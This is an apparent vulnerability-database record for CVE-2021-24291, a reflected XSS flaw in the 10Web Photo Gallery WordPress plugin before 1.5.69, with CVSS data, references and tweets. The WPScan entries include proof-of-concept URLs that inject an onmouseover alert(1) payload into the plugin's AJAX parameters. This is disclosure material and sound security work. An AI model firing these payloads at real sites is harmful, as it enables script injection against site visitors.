Description
The Photo Gallery by 10Web – Mobile-Friendly Image Gallery WordPress plugin before 1.5.69 was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id and _id GET parameters passed to the bwg_frontend_data AJAX action (available to both unauthenticated and authenticated users)
Affected Software
Related
{"id": "CVE-2021-24291", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-24291", "description": "The Photo Gallery by 10Web \u00e2\u20ac\u201c Mobile-Friendly Image Gallery WordPress plugin before 1.5.69 was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id and _id GET parameters passed to the bwg_frontend_data AJAX action (available to both unauthenticated and authenticated users)", "published": "2021-05-14T12:15:00", "modified": "2021-05-21T20:44:00", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 4.3}, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24291", "reporter": "contact@wpscan.com", "references": ["https://packetstormsecurity.com/files/162227/", "https://wpscan.com/vulnerability/cfb982b2-8b6d-4345-b3ab-3d2b130b873a"], "cvelist": ["CVE-2021-24291"], "immutableFields": [], "lastseen": "2022-03-23T14:51:08", "viewCount": 11, "enchantments": {"dependencies": {"references": [{"type": "packetstorm", "idList": ["PACKETSTORM:162227"]}, {"type": "wpexploit", "idList": ["WPEX-ID:CFB982B2-8B6D-4345-B3AB-3D2B130B873A"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:CFB982B2-8B6D-4345-B3AB-3D2B130B873A"]}], "rev": 4}, "score": {"value": 3.8, "vector": "NONE"}, "twitter": {"counter": 5, "tweets": [{"link": "https://twitter.com/WolfgangSesin/status/1395874633803517952", "text": "New post from https://t.co/uXvPWJy6tj?amp=1 (CVE-2021-24291 (photo_gallery)) has been published on https://t.co/YhxQ2SyYPl?amp=1"}, {"link": "https://twitter.com/threatintelctr/status/1395846968455442434", "text": " NEW: CVE-2021-24291 The Photo Gallery by 10Web \u00e2\u20ac\u201c Mobile-Friendly Image Gallery WordPress plugin before 1.5.69 was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id an... (click for more) Severity: MEDIUM https://t.co/0BTfmy11qj?amp=1"}, {"link": "https://twitter.com/threatintelctr/status/1395846968455442434", "text": " NEW: CVE-2021-24291 The Photo Gallery by 10Web \u00e2\u20ac\u201c Mobile-Friendly Image Gallery WordPress plugin before 1.5.69 was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id an... (click for more) Severity: MEDIUM https://t.co/0BTfmy11qj?amp=1"}, {"link": "https://twitter.com/www_sesin_at/status/1395874623301079040", "text": "New post from https://t.co/9KYxtdZjkl?amp=1 (CVE-2021-24291 (photo_gallery)) has been published on https://t.co/HCBXFIGKxD?amp=1"}, {"link": "https://twitter.com/geeknik/status/1419727027054256131", "text": "Our contribution to this release include tests for CVE-2014-2323, CVE-2016-0957, CVE-2018-1000600, CVE-2020-24949, CVE-2020-9402, CVE-2021-24291, CVE-2021-26475, CVE-2021-31249, CVE-2021-31250, CVE-31581, CVE-2021-33221, CVE-2021-3377 and CVE-2021-33904. Good luck out there!"}], "modified": "2021-05-22T07:53:59"}, "backreferences": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:CFB982B2-8B6D-4345-B3AB-3D2B130B873A"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:CFB982B2-8B6D-4345-B3AB-3D2B130B873A"]}]}, "exploitation": null, "vulnersScore": 3.8}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": [], "cpe23": [], "cwe": ["CWE-79"], "affectedSoftware": [{"cpeName": "10web:photo_gallery", "version": "1.5.69", "operator": "lt", "name": "10web photo gallery"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:10web:photo_gallery:1.5.69:*:*:*:*:wordpress:*:*", "versionEndExcluding": "1.5.69", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://packetstormsecurity.com/files/162227/", "name": "https://packetstormsecurity.com/files/162227/", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://wpscan.com/vulnerability/cfb982b2-8b6d-4345-b3ab-3d2b130b873a", "name": "https://wpscan.com/vulnerability/cfb982b2-8b6d-4345-b3ab-3d2b130b873a", "refsource": "CONFIRM", "tags": ["Exploit", "Third Party Advisory"]}]}
{"wpvulndb": [{"lastseen": "2021-05-28T19:30:34", "bulletinFamily": "software", "cvelist": ["CVE-2021-24291"], "description": "The plugin was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action (available to both unauthenticated and authenticated users)\n\n### PoC\n\nhttps://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&tag;=%22%20onmouseover=alert(1)%3E https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&theme;_id=%22%20onmouseover=alert(1)%3E https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&gallery;_id=1%22%20onmouseover=alert(1)%3E\n", "modified": "2021-04-27T07:02:40", "id": "WPVDB-ID:CFB982B2-8B6D-4345-B3AB-3D2B130B873A", "href": "https://wpscan.com/vulnerability/cfb982b2-8b6d-4345-b3ab-3d2b130b873a", "published": "2021-04-19T00:00:00", "type": "wpvulndb", "title": "Photo Gallery < 1.5.69 - Multiple Reflected Cross-Site Scripting (XSS)", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "wpexploit": [{"lastseen": "2021-05-28T19:30:34", "bulletinFamily": "exploit", "cvelist": ["CVE-2021-24291"], "description": "The plugin was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action (available to both unauthenticated and authenticated users)\n", "modified": "2021-04-27T07:02:40", "published": "2021-04-19T00:00:00", "id": "WPEX-ID:CFB982B2-8B6D-4345-B3AB-3D2B130B873A", "href": "", "type": "wpexploit", "title": "Photo Gallery < 1.5.69 - Multiple Reflected Cross-Site Scripting (XSS)", "sourceData": "https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&tag=%22%20onmouseover=alert(1)%3E\r\n\r\nhttps://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&theme_id=%22%20onmouseover=alert(1)%3E\r\n\r\nhttps://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&gallery_id=1%22%20onmouseover=alert(1)%3E", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}]}